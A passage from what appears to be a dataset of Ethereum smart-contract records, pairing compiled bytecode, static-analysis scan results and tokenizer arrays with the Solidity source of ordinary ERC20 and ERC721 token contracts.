405190810160405280929190818152602001828054610d729061245e565b8015610dbf5780601f10610d9457610100808354040283529160200191610dbf565b820191906000526020600020905b815481529060010190602001808311610da257829003601f168201915b505050505081565b600b8054610d469061245e565b6000818152600260205260408120546001600160a01b0316806107cf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108dc565b60006001600160a01b038216610eb65760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108dc565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610efc5760405162461bcd60e51b81526004016108dc90612499565b610f0660006119b6565b565b6006546001600160a01b03163314610f325760405162461bcd60e51b81526004016108dc90612499565b600955565b6006546001600160a01b03163314610f615760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600b906020840190611fb2565b6060600180546107e49061245e565b80600081118015610f9657506010548111155b610fb25760405162461bcd60e51b81526004016108dc90612566565b600f5481610fbf60085490565b610fc99190612594565b1115610fe75760405162461bcd60e51b81526004016108dc906125ac565b8180600e54610ff691906125da565b34101561103b5760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b60115460ff161561108e5760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016108dc565b610a123384611a08565b610a54338383611a45565b600d8054610d469061245e565b6006546001600160a01b031633146110da5760405162461bcd60e51b81526004016108dc90612499565b601055565b6006546001600160a01b031633146111095760405162461bcd60e51b81526004016108dc90612499565b601180549115156101000261ff0019909216919091179055565b61112d338361171f565b6111495760405162461bcd60e51b81526004016108dc906124ce565b61115584848484611b14565b50505050565b6000818152600260205260409020546060906001600160a01b03166111da5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108dc565b60115462010000900460ff1661127c57600d80546111f79061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546112239061245e565b80156112705780601f1061124557610100808354040283529160200191611270565b820191906000526020600020905b81548152906001019060200180831161125357829003601f168201915b50505050509050919050565b6000611286611b47565b905060008151116112a657604051806020016040528060008152506112d4565b806112b084611b56565b600c6040516020016112c4939291906125f9565b6040516020818303038152906040525b9392505050565b826000811180156112ee57506010548111155b61130a5760405162461bcd60e51b81526004016108dc90612566565b600f548161131760085490565b6113219190612594565b111561133f5760405162461bcd60e51b81526004016108dc906125ac565b8380600e5461134e91906125da565b3410156113935760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b601154610100900460ff166113f55760405162461bcd60e51b815260206004820152602260248201527f5468652077686974656c6973742073616c65206973206e6f7420656e61626c65604482015261642160f01b60648201526084016108dc565b336000908152600a602052604090205460ff16156114555760405162461bcd60e51b815260206004820152601860248201527f4164647265737320616c726561647920636c61696d656421000000000000000060448201526064016108dc565b6040516bffffffffffffffffffffffff193360601b1660208201526000906034016040516020818303038152906040528051906020012090506114cf858580806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506009549150849050611c54565b61150c5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b60448201526064016108dc565b336000818152600a60205260409020805460ff191660011790556115309087611a08565b505050505050565b6006546001600160a01b031633146115625760405162461bcd60e51b81526004016108dc90612499565b60118054911515620100000262ff000019909216919091179055565b8160008111801561159157506010548111155b6115ad5760405162461bcd60e51b81526004016108dc90612566565b600f54816115ba60085490565b6115c49190612594565b11156115e25760405162461bcd60e51b81526004016108dc906125ac565b6006546001600160a01b0316331461160c5760405162461bcd60e51b81526004016108dc90612499565b610a128284611a08565b6006546001600160a01b031633146116405760405162461bcd60e51b81526004016108dc90612499565b6001600160a01b0381166116a55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108dc565b6116ae816119b6565b50565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906116e682610dd4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166117985760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108dc565b60006117a383610dd4565b9050806001600160a01b0316846001600160a01b031614806117de5750836001600160a01b03166117d384610867565b6001600160a01b0316145b8061180e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661182982610dd4565b6001600160a01b0316146118915760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108dc565b6001600160a01b0382166118f35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108dc565b6118fe6000826116b1565b6001600160a01b03831660009081526003602052604081208054600192906119279084906126bd565b90915550506001600160a01b0382166000908152600360205260408120805460019290611955908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b81811015610a1257611a21600880546001019055565b611a3383611a2e60085490565b611c6a565b80611a3d8161254b565b915050611a0b565b816001600160a01b0316836001600160a01b03161415611aa75760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108dc565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611b1f848484611816565b611b2b84848484611c84565b6111555760405162461bcd60e51b81526004016108dc906126d4565b6060600b80546107e49061245e565b606081611b7a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611ba45780611b8e8161254b565b9150611b9d9050600a8361273c565b9150611b7e565b60008167ffffffffffffffff811115611bbf57611bbf612148565b6040519080825280601f01601f191660200182016040528015611be9576020820181803683370190505b5090505b841561180e57611bfe6001836126bd565b9150611c0b600a86612750565b611c16906030612594565b60f81b818381518110611c2b57611c2b61251f565b60200101906001600160f81b031916908160001a905350611c4d600a8661273c565b9450611bed565b600082611c618584611d91565b14949350505050565b610a54828260405180602001604052806000815250611e3d565b60006001600160a01b0384163b15611d8657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611cc8903390899088908890600401612764565b602060405180830381600087803b158015611ce257600080fd5b505af1925050508015611d12575060408051601f3d908101601f19168201909252611d0f918101906127a1565b60015b611d6c573d808015611d40576040519150601f19603f3d011682016040523d82523d6000602084013e611d45565b606091505b508051611d645760405162461bcd60e51b81526004016108dc906126d4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061180e565b506001949350505050565b600081815b8451811015611e35576000858281518110611db357611db361251f565b60200260200101519050808311611df5576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611e22565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611e2d8161254b565b915050611d96565b509392505050565b611e478383611e70565b611e546000848484611c84565b610a125760405162461bcd60e51b81526004016108dc906126d4565b6001600160a01b038216611ec65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108dc565b6000818152600260205260409020546001600160a01b031615611f2b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108dc565b6001600160a01b0382166000908152600360205260408120805460019290611f54908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611fbe9061245e565b90600052602060002090601f016020900481019282611fe05760008555612026565b82601f10611ff957805160ff1916838001178555612026565b82800160010185558215612026579182015b8281111561202657825182559160200191906001019061200b565b50612032929150612036565b5090565b5b808211156120325760008155600101612037565b6001600160e01b0319811681146116ae57600080fd5b60006020828403121561207357600080fd5b81356112d48161204b565b60005b83811015612099578181015183820152602001612081565b838111156111555750506000910152565b600081518084526120c281602086016020860161207e565b601f01601f19169290920160200192915050565b6020815260006112d460208301846120aa565b6000602082840312156120fb57600080fd5b5035919050565b80356001600160a01b038116811461211957600080fd5b919050565b6000806040838503121561213157600080fd5b61213a83612102565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561217957612179612148565b604051601f8501601f19908116603f011681019082821181831017156121a1576121a1612148565b816040528093508581528686860111156121ba57600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156121e657600080fd5b813567ffffffffffffffff8111156121fd57600080fd5b8201601f8101841361220e57600080fd5b61180e8482356020840161215e565b8035801515811461211957600080fd5b60006020828403121561223f57600080fd5b6112d48261221d565b60008060006060848603121561225d57600080fd5b61226684612102565b925061227460208501612102565b9150604084013590509250925092565b60006020828403121561229657600080fd5b6112d482612102565b6020808252825182820181905260009190848201906040850190845b818110156122d7578351835292840192918401916001016122bb565b50909695505050505050565b600080604083850312156122f657600080fd5b6122ff83612102565b915061230d6020840161221d565b90509250929050565b6000806000806080858703121561232c57600080fd5b61233585612102565b935061234360208601612102565b925060408501359150606085013567ffffffffffffffff81111561236657600080fd5b8501601f8101871361237757600080fd5b6123868782356020840161215e565b91505092959194509250565b6000806000604084860312156123a757600080fd5b83359250602084013567ffffffffffffffff808211156123c657600080fd5b818601915086601f8301126123da57600080fd5b8135818111156123e957600080fd5b8760208260051b85010111156123fe57600080fd5b6020830194508093505050509250925092565b6000806040838503121561242457600080fd5b61242d83612102565b915061230d60208401612102565b6000806040838503121561244e57600080fd5b8235915061230d60208401612102565b600181811c9082168061247257607f821691505b6020821081141561249357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561255f5761255f612535565b5060010190565b602080825260149082015273496e76616c6964206d696e7420616d6f756e742160601b604082015260600190565b600082198211156125a7576125a7612535565b500190565b6020808252601490820152734d617820737570706c792065786365656465642160601b604082015260600190565b60008160001904831182151516156125f4576125f4612535565b500290565b60008451602061260c8285838a0161207e565b85519184019161261f8184848a0161207e565b8554920191600090600181811c908083168061263c57607f831692505b85831081141561265a57634e487b7160e01b85526022600452602485fd5b80801561266e576001811461267f576126ac565b60ff198516885283880195506126ac565b60008b81526020902060005b858110156126a45781548a82015290840190880161268b565b505083880195505b50939b9a5050505050505050505050565b6000828210156126cf576126cf612535565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261274b5761274b612726565b500490565b60008261275f5761275f612726565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612797908301846120aa565b9695505050505050565b6000602082840312156127b357600080fd5b81516112d48161204b56fea26469706673582212200f198122074fe0e6aebc465bb4764b168a479b3df44a3617dc2feb1b840ea63364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 20842, 2575, 2278, 2475, 2050, 29097, 12376, 26976, 2692, 3676, 2692, 2581, 2575, 2581, 2581, 16086, 3401, 19961, 2050, 2475, 4215, 25746, 2575, 2063, 2575, 2683, 2581, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 1013, 1008, 1008, 1013, 1013, 1030, 2516, 1024, 22301, 15890, 2015, 1013, 1013, 1030, 4078, 2278, 1024, 22301, 15890, 2015, 2003, 1037, 3074, 1997, 2184, 1010, 2199, 1050, 6199, 8145, 7028, 2015, 26192, 2094, 2006, 1996, 28855, 14820, 3796, 24925, 2078, 1012, 1013, 1013, 1030, 3166, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 22301, 4645, 1013, 1013, 1030, 3166, 1024, 16770, 1024, 1013, 1013, 16021, 23091, 1012, 4012, 1013, 22301, 1035, 15890, 2015, 1013, 1013, 1030, 3166, 1024, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,868
0x9786bD44c30cD84Fc6C9b026c2e826De066F688c
// File: iface/IPTokenFactory.sol // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.6.12; interface IPTokenFactory { function getGovernance() external view returns(address); function getPTokenOperator(address contractAddress) external view returns(bool); function getPTokenAuthenticity(address pToken) external view returns(bool); } // File: iface/IParasset.sol pragma solidity ^0.6.12; interface IParasset { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function destroy(uint256 amount, address account) external; function issuance(uint256 amount, address account) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: lib/SafeMath.sol pragma solidity ^0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } function div(uint x, uint y) internal pure returns (uint z) { require(y > 0, "ds-math-div-zero"); z = x / y; // assert(a == b * c + a % b); // There is no case in which this doesn't hold } } // File: PToken.sol pragma solidity ^0.6.12; contract PToken is IParasset { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 public _totalSupply = 0; string public name = ""; string public symbol = ""; uint8 public decimals = 18; IPTokenFactory pTokenFactory; constructor (string memory _name, string memory _symbol) public { name = _name; symbol = _symbol; pTokenFactory = IPTokenFactory(address(msg.sender)); } //---------modifier--------- modifier onlyGovernance() { require(address(msg.sender) == pTokenFactory.getGovernance(), "Log:PToken:!governance"); _; } modifier onlyPool() { require(pTokenFactory.getPTokenOperator(address(msg.sender)), "Log:PToken:!Pool"); _; } //---------view--------- // Query factory contract address function getPTokenFactory() public view returns(address) { return address(pTokenFactory); } /// @notice The view of totalSupply /// @return The total supply of ntoken function totalSupply() override public view returns (uint256) { return _totalSupply; } /// @dev The view of balances /// @param owner The address of an account /// @return The balance of the account function balanceOf(address owner) override public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) override public view returns (uint256) { return _allowed[owner][spender]; } //---------transaction--------- function changeFactory(address factory) public onlyGovernance { pTokenFactory = IPTokenFactory(address(factory)); } function transfer(address to, uint256 value) override public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) override public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) override public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function destroy(uint256 amount, address account) override external onlyPool{ require(_balances[account] >= amount, "Log:PToken:!destroy"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0x0), amount); } function issuance(uint256 amount, address account) override external onlyPool{ _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0x0), account, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610312578063a9059cbb1461033e578063dd62ed3e1461036a578063fa3a16681461039857610100565b806370a082311461028c5780638dec3daa146102b257806395d89b41146102de5780639d8ed858146102e657610100565b806323b872dd116100d357806323b872dd14610204578063313ce5671461023a57806339509351146102585780633eaaf86b1461028457610100565b806306fdde0314610105578063095ea7b31461018257806311c6e741146101c257806318160ddd146101ea575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b03813516906020013561044a565b604080519115158252519081900360200190f35b6101e8600480360360208110156101d857600080fd5b50356001600160a01b03166104c7565b005b6101f26105be565b60408051918252519081900360200190f35b6101ae6004803603606081101561021a57600080fd5b506001600160a01b038135811691602081013590911690604001356105c4565b610242610687565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561026e57600080fd5b506001600160a01b038135169060200135610690565b6101f2610738565b6101f2600480360360208110156102a257600080fd5b50356001600160a01b031661073e565b6101e8600480360360408110156102c857600080fd5b50803590602001356001600160a01b0316610759565b61010d61090c565b6101e8600480360360408110156102fc57600080fd5b50803590602001356001600160a01b0316610967565b6101ae6004803603604081101561032857600080fd5b506001600160a01b038135169060200135610ab7565b6101ae6004803603604081101561035457600080fd5b506001600160a01b038135169060200135610afa565b6101f26004803603604081101561038057600080fd5b506001600160a01b0381358116916020013516610b10565b6103a0610b3b565b604080516001600160a01b039092168252519081900360200190f35b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104425780601f1061041757610100808354040283529160200191610442565b820191906000526020600020905b81548152906001019060200180831161042557829003601f168201915b505050505081565b60006001600160a01b03831661045f57600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600560019054906101000a90046001600160a01b03166001600160a01b031663289b3c0d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561051557600080fd5b505afa158015610529573d6000803e3d6000fd5b505050506040513d602081101561053f57600080fd5b50516001600160a01b03163314610596576040805162461bcd60e51b81526020600482015260166024820152754c6f673a50546f6b656e3a21676f7665726e616e636560501b604482015290519081900360640190fd5b600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546105f29083610b4f565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610621848484610b9f565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1681565b60006001600160a01b0383166106a557600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546106d39083610c4b565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60025481565b6001600160a01b031660009081526020819052604090205490565b60055460408051630762cd8d60e21b815233600482015290516101009092046001600160a01b031691631d8b363491602480820192602092909190829003018186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d60208110156107d257600080fd5b5051610818576040805162461bcd60e51b815260206004820152601060248201526f131bd9ce94151bdad95b8e88541bdbdb60821b604482015290519081900360640190fd5b6001600160a01b03811660009081526020819052604090205482111561087b576040805162461bcd60e51b81526020600482015260136024820152724c6f673a50546f6b656e3a2164657374726f7960681b604482015290519081900360640190fd5b6001600160a01b03811660009081526020819052604090205461089e9083610b4f565b6001600160a01b0382166000908152602081905260409020556002546108c49083610b4f565b6002556040805183815290516000916001600160a01b038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104425780601f1061041757610100808354040283529160200191610442565b60055460408051630762cd8d60e21b815233600482015290516101009092046001600160a01b031691631d8b363491602480820192602092909190829003018186803b1580156109b657600080fd5b505afa1580156109ca573d6000803e3d6000fd5b505050506040513d60208110156109e057600080fd5b5051610a26576040805162461bcd60e51b815260206004820152601060248201526f131bd9ce94151bdad95b8e88541bdbdb60821b604482015290519081900360640190fd5b6001600160a01b038116600090815260208190526040902054610a499083610c4b565b6001600160a01b038216600090815260208190526040902055600254610a6f9083610c4b565b6002556040805183815290516001600160a01b038316916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60006001600160a01b038316610acc57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546106d39083610b4f565b6000610b07338484610b9f565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60055461010090046001600160a01b031690565b808203828111156104c1576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054610bc29082610b4f565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610bf19082610c4b565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b808201828110156104c1576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fdfea264697066735822122047ae4337e128923e4537023b6e0cfc7b675a2c7d641b7e0bcefb0024ee26256a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 20842, 2497, 2094, 22932, 2278, 14142, 19797, 2620, 2549, 11329, 2575, 2278, 2683, 2497, 2692, 23833, 2278, 2475, 2063, 2620, 23833, 3207, 2692, 28756, 2546, 2575, 2620, 2620, 2278, 1013, 1013, 5371, 1024, 2065, 10732, 1013, 12997, 18715, 2368, 21450, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 12997, 18715, 2368, 21450, 1063, 3853, 2131, 3995, 23062, 6651, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2131, 13876, 11045, 3630, 4842, 8844, 1006, 4769, 3206, 4215, 16200, 4757, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 2131, 13876, 11045, 24619, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,869
0x97872EAfd79940C7b24f7BCc1EADb1457347ADc9
pragma solidity ^0.8.0; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title STRP token contract * @dev Simple ERC20 contract with limit supply for 100mln tokens. 18 decimals by default * Exist on Ethereum. For L2 using bridges * @author Strips Finance **/ contract STRP is ERC20, Ownable { uint constant MAX_SUPPLY = 100000000 ether; constructor() ERC20("Strips Token", "STRP") { _mint(msg.sender, MAX_SUPPLY); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - 